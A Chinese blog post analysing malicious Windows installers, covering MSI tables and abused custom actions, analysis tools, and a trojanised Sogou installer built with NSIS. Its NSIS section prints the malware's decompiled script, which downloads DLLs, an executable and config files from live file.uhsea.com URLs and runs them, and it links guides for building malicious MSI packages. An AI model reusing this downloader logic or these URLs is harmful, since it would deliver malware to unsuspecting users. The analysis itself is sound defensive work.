MSI和NSIS打包恶意文件分析

MSI

MSI之所以被推荐是因为它不止能安装还能修复和更新。文件中包含有关软件安装的详细信息的数据库文件,二进制文件,配置文件,字体,注册表,图标信息。都是以table的形式存储的(MSI 文件被构造为关系数据库)。注意7Z能打开文件,但是里面的关系不能看到。这些表通过主键和外键
关于MSI信息可以参考
https://intezer.com/blog/incident-response/how-to-analyze-malicious-msi-installer-files
https://learn.microsoft.com/en-us/windows/win32/msi/about-the-installer-database

MSI文件结构

File Tables Group


文件由多个表组成,这些表通过一些键相互关联。

重要的表和键

Feature Table
Features是应用程序总功能的一部分,用户可以选择安装
图为wireshark的MSI包,经常装wireshark的应当熟悉。

Component Table
Component列出了所有安装的组件
键的含义见
https://learn.microsoft.com/en-us/windows/win32/msi/component-table

FeatureComponents
关联了Feature和components

Binary Table
二进制表动画和图标等项目的二进制数据。二进制表还用于存储自定义操作的数据。
https://learn.microsoft.com/en-us/windows/win32/msi/binary-table

File Table
文件表主要用于存储将要安装的文件信息。每个条目代表一个将要安装的文件,并包含该文件的详细信息。
https://learn.microsoft.com/en-us/windows/win32/msi/file-table
File_name:ym_prbxk.dll|d3dcompiler_47.dll 管道符分割
ym_prbxk.dll 是文件的 短文件名,它遵循旧的 8.3 格式(DOS 文件名限制,最多8个字符文件名+3个字符扩展名)。d3dcompiler_47.dll 是文件的 长文件名,即实际要安装的文件名。

Installation Actions and Sequences
Standard Actions 封装了应用程序安装或维护期间执行的典型功能。 Windows Installer 有许多内置的标准操作。安装包的开发人员还可以编写自己的自定义操作(custom actions)。
● CreateShortcuts :使用快捷方式表管理快捷方式创建。
● InstallFiles :使用文件表将文件从源目录复制到目标目录。
● WriteRegistryValues :使用注册表设置所需的注册表信息。
这些操作可确保在安装过程中正确应用所有必要的组件和配置。
Sequence tables
MSI 文件中的Sequence tables控制安装操作和用户界面显示的顺序。有以下三种安装方式:

● Simple
● Administrative — An installation that was initiated by an administrator.管理员启动安装
● Advertisement — The Windows Installer can advertise an application’s availability to users or other applications without actually installing the application. 要宣传应用程序或功能,必须使用ADVERTISE操作启动安装程序。
Sequence由两个重要表
InstallExecuteSequence
InstallUISequence
InstallUISequence表管理安装的用户界面顺序。InstallExecuteSequence 表控制实际的安装操作,确保安装步骤按正确的顺序执行。
具体的参考https://learn.microsoft.com/en-us/windows/win32/msi/installation-procedure-tables-group
https://learn.microsoft.com/en-us/windows/win32/msi/using-a-sequence-table
有几种类型的动作:
Standard Actions:标准操作:Windows Installer 提供的预定义操作,例如 CostFinalize、InstallFiles、RegisterProduct 和 RemoveFiles。它们处理常见的安装任务。
Custom Actions 自定义操作:可以执行自定义安装任务的用户定义操作,例如执行脚本或调用 DLL 函数。

custome actions中的action“_CD3BFCCC_6A3B_4289_A49A_C298DDB4F8E2”总能在InstallExecuteSequence中找到对应项。
InstallExecuteSequence表中的actions InstallExecuteSequence在custome actions中有,而恶意文件要保证复杂的正常软件不被破坏,通常实在custome actions动手脚,custome action也比较灵活。

CustomAction 表支持的操作类型
CustomAction 表中定义的操作可以根据类型执行不同的任务,主要支持以下类型:

可执行文件:
外部可执行文件:你可以调用 .exe 文件,通过定义它的路径和参数来执行。
存储在安装包中的可执行文件:该文件作为资源打包在 MSI 文件中,会在安装时解压并执行。
DLL 函数调用:
调用 DLL 中的某个函数:你可以调用一个自定义的 DLL 文件中的某个导出函数。DLL 文件可能已经存在系统中,也可能作为安装过程的一部分被安装。
VBScript/JScript:
执行脚本:你可以在 MSI 文件中嵌入或外部引用 VBScript 或 JScript 文件。Windows Installer 将会在指定的安装阶段执行这些脚本。
调用已存在的安装项:
调用现有 MSI:自定义操作也可以用于启动另一安装程序(嵌套安装)。
关于MSI文件中的type值
可以参考https://learn.microsoft.com/en-us/windows/win32/msi/summary-list-of-all-custom-action-types但是这个恶意软件值是3078,但是我并没有找到相关资料,怎么判断,不过确定文件之后,直接打开文件就可以,用别的手段确定文件类型。(资料上说是按位组合bitwise combination of flags),搞了半天没搞懂64位的。
https://learn.microsoft.com/en-us/windows/win32/msi/custom-action-type-6

aicustact.dll
ExternalUICleaner.dll
一般是advanced intaller 打包是带进去的dll,是这个工具签名的

制作恶意MSI工具

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix
https://blog.sunggwanchoi.com/recreating-a-msi-payload-for-fun-and-no-profit/
挺复杂的

手动分析MSI文件的工具

msitools:此Linux软件包包括可用于检查MSI文件的msiinfo和msidump等实用程序。它允许您枚举表和流、转储表内容以及从MSI文件中提取数据。
msidump:由Mgeeky开发的分析恶意MSI包的工具。它可以提取文件、流和二进制数据,并结合YARA扫描。它对于快速分流和详细检查潜在的恶意MSIs特别有用。
lessmsi:这是一个同时具有图形用户界面和命令行界面的实用程序。它可用于查看和提取MSI文件的内容。它还具有Windows资源管理器集成,便于提取和MSI表查看器。
MSI查看器:可从Microsoft Store获得,此应用程序允许您查看MSI安装程序文件和合并模块的内容。它还可以提取文件,而无需运行安装程序。
Orca:微软开发的一种图形用户界面(GUI)工具,用于分析和编辑MSI文件。Orca允许用户打开MSI文件并查看其内部结构,包括表、属性和安装包的其他组件。

追踪msi文件安装过程

msiexec.exe会将msi文件复制到C:\Windows\Installer
之后会命名一个随机的名字
我的环境是C:\Windows\Installer\8343c85.msi,沙箱环境是C:\Windows\Installer\ea808b0.msi。文件和恶意msi的hash相同

https://s.threatbook.com/report/file/328a08fa7252a2c122d7c7e86eade7de230b5bce95eaa7d22503d19ce566673a

之后根据customaction表中的动作执行vb脚本

用7z提取文件

效逻辑是运行msi文件中filename为1的文件,重命名为dllhost.exe

NSIS

再来看一个NSIS打包的恶意软件
NSIS Wiki (sourceforge.io)
sha-256:ec3cb931c3639476c4f47c5a9679cd36412531504623d2c886d2ccee0fa9233a
DIE识别

file识别
sogou.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
用7z打开

可以看到里面装了个正经的搜狗输入法

安装的逻辑在[NSIS].nsi文件当中
$PLUGINSDIR是插件目录
主要安装逻辑如下,可以看到是从网站下载文件到对应目录和命名文件,最后运行。所以不用追踪也能弄懂逻辑。
Exec $INSTDIR\sogou_pinyin.exe
Exec "$"$INSTDIR\SogouAnquan.exe$" $"$INSTDIR\config.ini$""
Exec "$"$INSTDIR\SogouAnquan.exe$" $"$INSTDIR\new_config.ini$""
Function .onInstSuccess
SetOutPath $INSTDIR
File sogou_pinyin.exe
CreateDirectory $INSTDIR\alien
IfFileExists $INSTDIR\lua5.1.dll label_12
INetC::get https://file.uhsea.com/2407/4a683a231bcc1977929f3e9cdbac79ad2H.dll $INSTDIR\lua5.1.dll /END
; Call Initialize_____Plugins
; SetOverwrite off
; File $PLUGINSDIR\INetC.dll
; SetDetailsPrint lastused ; !!!! Unknown Params: Dir "" ProgramFilesDir $(LSTR_0) ; 13 0 1 -1 ; "Nullsoft Install System v3.10"
; Push /END
; Push $INSTDIR\lua5.1.dll
; Push https://file.uhsea.com/2407/4a683a231bcc1977929f3e9cdbac79ad2H.dll
; CallInstDLL $PLUGINSDIR\INetC.dll get
Pop $0
label_12:
IfFileExists $INSTDIR\SogouAnquan.exe label_21
INetC::get https://file.uhsea.com/2408/f5fe7cdd8e13866023b170af4849b4f1FJ.exe $INSTDIR\SogouAnquan.exe /END
; Call Initialize_____Plugins
; AllowSkipFiles off
; File $PLUGINSDIR\INetC.dll
; SetDetailsPrint lastused ; !!!! Unknown Params: Dir "" ProgramFilesDir $(LSTR_0) ; 13 0 1 -1 ; "Nullsoft Install System v3.10"
; Push /END
; Push $INSTDIR\SogouAnquan.exe
; Push https://file.uhsea.com/2408/f5fe7cdd8e13866023b170af4849b4f1FJ.exe
; CallInstDLL $PLUGINSDIR\INetC.dll get
Pop $0
label_21:
IfFileExists $INSTDIR\alien\core.dll label_30
INetC::get https://file.uhsea.com/2403/315133ffc1263d0a162019684ce5e6380W.dll $INSTDIR\alien\core.dll /END
; Call Initialize_____Plugins
; File $PLUGINSDIR\INetC.dll
; SetDetailsPrint lastused ; !!!! Unknown Params: Dir "" ProgramFilesDir $(LSTR_0) ; 13 0 1 -1 ; "Nullsoft Install System v3.10"
; Push /END
; Push $INSTDIR\alien\core.dll
; Push https://file.uhsea.com/2403/315133ffc1263d0a162019684ce5e6380W.dll
; CallInstDLL $PLUGINSDIR\INetC.dll get
Pop $0
label_30:
IfFileExists $INSTDIR\config.ini label_39
INetC::get https://file.uhsea.com/2408/90043adb720dde3cf087b43df4940088YO.ini $INSTDIR\config.ini /END
; Call Initialize_____Plugins
; File $PLUGINSDIR\INetC.dll
; SetDetailsPrint lastused ; !!!! Unknown Params: Dir "" ProgramFilesDir $(LSTR_0) ; 13 0 1 -1 ; "Nullsoft Install System v3.10"
; Push /END
; Push $INSTDIR\config.ini
; Push https://file.uhsea.com/2408/90043adb720dde3cf087b43df4940088YO.ini
; CallInstDLL $PLUGINSDIR\INetC.dll get
Pop $0
label_39:
IfFileExists $INSTDIR\new_config.ini label_48
INetC::get https://file.uhsea.com/2407/1f154d55c30dc3c156c2a95c973537940J.ini $INSTDIR\new_config.ini /END
; Call Initialize_____Plugins
; File $PLUGINSDIR\INetC.dll
; SetDetailsPrint lastused ; !!!! Unknown Params: Dir "" ProgramFilesDir $(LSTR_0) ; 13 0 1 -1 ; "Nullsoft Install System v3.10"
; Push /END
; Push $INSTDIR\new_config.ini
; Push https://file.uhsea.com/2407/1f154d55c30dc3c156c2a95c973537940J.ini
; CallInstDLL $PLUGINSDIR\INetC.dll get
Pop $0
label_48:
Exec $INSTDIR\sogou_pinyin.exe
Exec "$"$INSTDIR\SogouAnquan.exe$" $"$INSTDIR\config.ini$""
Exec "$"$INSTDIR\SogouAnquan.exe$" $"$INSTDIR\new_config.ini$""
FunctionEnd
打包NISIS恶意软件
NSIS支持图形化向导,可以参考官网,比较容易上手。 脚本向导+修改代码=个性化安装包
也可以直接写脚本
NSIS 从入门到编写完整打包脚本——持续更新NSIS是功能强大的安装包制作工具,但其高质量的教程稀少,上手困难。且官方 - 掘金 (juejin.cn)

SFX自解压文件
self extracting Archives 自解压文件通常是winrar 7z创建的exe文件,能够运行指定的脚本、powershell。不过弄成exe文件还是很可疑。
可以参考
https://medium.com/@drthkol478/how-sfx-archive-malware-works-ecb95d280841
die都能很好的识别这两种文件。

参考
https://intezer.com/blog/incident-response/how-to-analyze-malicious-msi-installer-files/ | 如何分析恶意 MSI 安装程序文件 --- How to Analyze Malicious MSI Installer Files
https://learn.microsoft.com/en-us/windows/win32/msi/about-the-installer-database | About the Installer Database - Win32 apps | Microsoft Learn
https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer | www.cybereason.com
https://medium.com/@andrew.petrus/investigating-a-malicious-msi-file-9325a6cb3310 | Investigating a Malicious MSI File | by Andrew Petrus | Medium
https://forensicitguy.github.io/analyzing-stealer-msi-using-msitools/ | Analyzing a Stealer MSI using msitools | Tony Lambert
https://isc.sans.edu/diary/23355 | Analyzing MSI files - SANS Internet Storm Center
https://medium.com/@s1kr10s/malware-analysis-citacionpoderjudicl-msi-mekotio-34c231eb9c63 | Malware Analysis — citacionpoderjudicl.msi (Mekotio) | by Miguel Méndez Z. | Medium
https://rvsec0n.wordpress.com/2020/02/22/msi-malware-analysis/ | .msi malware analysis – RvsEc0n
https://www.trendmicro.com/en_us/research/19/d/analysis-abuse-of-custom-actions-in-windows-installer-msi-to-run-malicious-javascript-vbscript-and-powershell-scripts.html | Abuse of Custom Actions in Windows Installer MSI | Trend Micro (US)
https://bbs.kanxue.com/thread-258044.htm | [翻译]msi恶意软件分析-外文翻译-看雪-安全社区|安全招聘|kanxue.com

posted @ 2025-04-11 12:22  干掉那个寂寞  阅读(390)  评论(0)    收藏  举报